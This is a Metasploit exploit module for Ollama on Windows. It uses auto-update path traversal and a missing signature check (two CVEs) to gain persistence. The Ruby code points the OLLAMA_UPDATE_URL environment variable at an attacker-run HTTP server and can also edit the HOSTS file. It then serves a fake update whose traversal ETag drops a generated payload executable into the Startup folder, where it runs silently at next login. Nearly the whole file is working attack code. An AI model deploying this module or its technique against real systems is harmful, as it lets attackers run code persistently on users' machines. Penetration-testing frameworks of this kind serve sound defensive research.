# frozen_string_literal: true ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Local::Persistence include Msf::Post::Windows::Registry prepend Msf::Exploit::Remote::AutoCheck HOSTS_PATH = 'C:\\Windows\\System32\\drivers\\etc\\hosts' UPDATE_HOSTNAME = 'ollama.com' PAYLOAD_FILENAME = 'OllamaSetup.exe' def initialize(info = {}) super( update_info( info, 'Name' => 'Ollama Windows Auto-Update Path Traversal Persistence', 'Description' => %q{ Ollama for Windows versions 0.12.10 through 0.22.1 are vulnerable to a path traversal attack (CVE-2026-42249) in the auto-update download mechanism, combined with a completely absent signature verification function (CVE-2026-42248). Payloads are written to the startup folder and executed at next login. }, 'Author' => [ 'Bartłomiej Dmitruk', # Discovery and PoC 'h00die' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2026-42248'], ['CVE', '2026-42249'], ['URL', 'https://www.striga.ai/research/ollama-windows-auto-update-rce'], ['ATT&CK', Mitre::Attack::Technique::T1547_001_REGISTRY_RUN_KEYS_STARTUP_FOLDER], ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION] ], 'Platform' => ['win'], 'Arch' => [ARCH_X64, ARCH_X86], 'SessionTypes' => ['meterpreter'], 'Targets' => [ ['Automatic', {}] ], 'DefaultTarget' => 0, 'Privileged' => false, 'DisclosureDate' => '2026-04-29', 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES], 'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION] } ) ) register_options([ OptBool.new('MODIFY_HOSTS', [true, 'Also add an ollama.com entry to the HOSTS file (setx always runs regardless)', false]), OptString.new('BASE_PATH', [false, 'Base URI path for the fake update server.', '/']) ]) end def check raw = create_process('ollama', args: ['--version']) return CheckCode::Unknown('ollama binary not found or returned no output') if raw.nil? || raw.strip.empty? # "ollama version 0.21.0" or just "0.22.1" version_str = raw.strip.match(/(\d+\.\d+\.\d+)/)&.captures&.first return CheckCode::Unknown("Could not parse version from: #{raw.strip}") unless version_str vprint_status("Ollama version detected: #{version_str}") target_v = Rex::Version.new(version_str) vuln_min = Rex::Version.new('0.12.10') vuln_max = Rex::Version.new('0.22.1') # patched in 0.23.0, unmentioned in patch notes, but tested and is fixed unless target_v >= vuln_min && target_v <= vuln_max return CheckCode::Safe("Ollama #{version_str} is not vulnerable") end CheckCode::Appears("Ollama #{version_str} is vulnerable") end def install_persistence @payload_name = PAYLOAD_FILENAME @payload_exe = generate_payload_exe # filepath.Join(UpdateStageDir, etag, filename) is resolved without sanitisation. # UpdateStageDir = %APPDATA%\Ollama\updates = ...\AppData\Roaming\Ollama\updates # Three ".." hops: updates -> Ollama -> Roaming -> AppData # Then down into Roaming\Microsoft\Windows\Start Menu\Programs\Startup @etag_traversal = '../../../Roaming/Microsoft/Windows/Start Menu/Programs/Startup' configured = datastore['BASE_PATH'].to_s.strip configured = '/' if configured.empty? @base_path = configured.start_with?('/') ? configured : "/#{configured}" print_status("Starting fake update server on #{Rex::Socket.to_authority(srvhost_addr, srvport)}") begin start_service({ 'Uri' => { 'Proc' => method(:on_request_uri), 'Path' => @base_path } }) rescue RuntimeError => e raise unless e.message.include?('already added') # ServiceManager returned an existing server that still has this path registered # from a previous run. Replace the stale handler with the current one. remove_resource(@base_path) add_resource({ 'Path' => @base_path, 'Proc' => method(:on_request_uri) }) print_status('Reusing existing HTTP service with updated handler') end url_base = @base_path == '/' ? '' : @base_path update_url = "http://#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{url_base}/api/update" configure_update_url(update_url) modify_hosts_file if datastore['MODIFY_HOSTS'] print_status("Payload will land at: %APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\#{@payload_name}") print_status('Waiting for Ollama background update poller to fire...') report_vuln( host: session.session_host, name: 'Ollama Windows Auto-Update Path Traversal Persistence', refs: references ) end def on_request_uri(cli, request) vprint_status("#{request.method} #{request.uri}") path = request.uri.split('?').first if path.end_with?('/api/update') serve_update_check(cli, request) elsif path.include?('/download/') serve_payload(cli, request) else send_response(cli, '', { 'code' => 404 }) end end private def configure_update_url(update_url) # setx writes the variable permanently into HKCU\Environment — survives reboot # and is visible to all future processes for this user, including the Ollama updater. result = create_process('setx', args: ['OLLAMA_UPDATE_URL', update_url]) if result =~ /SUCCESS/i print_good("OLLAMA_UPDATE_URL set via setx: #{update_url}") @clean_up_rc << "execute -f cmd.exe -a '/c reg delete HKCU\\\\Environment /v OLLAMA_UPDATE_URL /f' -H\n" else print_warning("setx may have failed (#{result.strip}) — try setting OLLAMA_UPDATE_URL manually") end end def modify_hosts_file unless file_exist?(HOSTS_PATH) print_warning("HOSTS file not found at #{HOSTS_PATH} — skipping hosts modification") return end current = read_file(HOSTS_PATH) || '' entry = "#{srvhost_addr}\t#{UPDATE_HOSTNAME}" if current.include?(UPDATE_HOSTNAME) print_warning("#{UPDATE_HOSTNAME} already present in HOSTS file — skipping") return end updated = current.rstrip + "\r\n#{entry}\r\n" unless write_file(HOSTS_PATH, updated) fail_with(Failure::NoAccess, "Failed to update #{HOSTS_PATH}; administrative privileges may be required") end print_good("Added '#{entry}' to #{HOSTS_PATH}") @clean_up_rc << "execute -f cmd.exe -a '/c findstr /v /i /c:\"#{entry}\" \"#{HOSTS_PATH}\" > \"#{HOSTS_PATH}.tmp\" & move /y \"#{HOSTS_PATH}.tmp\" \"#{HOSTS_PATH}\"' -H\n" end def serve_update_check(cli, request) client_version = request.qstring['version'] fake_version = client_version ? Rex::Version.new(client_version).bump.to_s : '0.23' url_base = @base_path == '/' ? '' : @base_path download_url = "http://#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{url_base}/download/OllamaSetup.exe" body = { 'version' => fake_version, 'url' => download_url }.to_json print_status("Update check received (client #{client_version}) — advertising #{fake_version}") send_response(cli, body, { 'Content-Type' => 'application/json', 'code' => 200 }) end def serve_payload(cli, request) headers = { 'Content-Type' => 'application/octet-stream', 'Content-Length' => @payload_exe.length.to_s, 'ETag' => @etag_traversal, 'Content-Disposition' => "attachment; filename=\"#{@payload_name}\"" } if request.method == 'HEAD' send_response(cli, '', headers.merge('code' => 200)) else send_response(cli, @payload_exe, headers.merge('code' => 200)) print_good("Payload served as #{@etag_traversal}/#{@payload_name} — will execute silently at next user login") end end end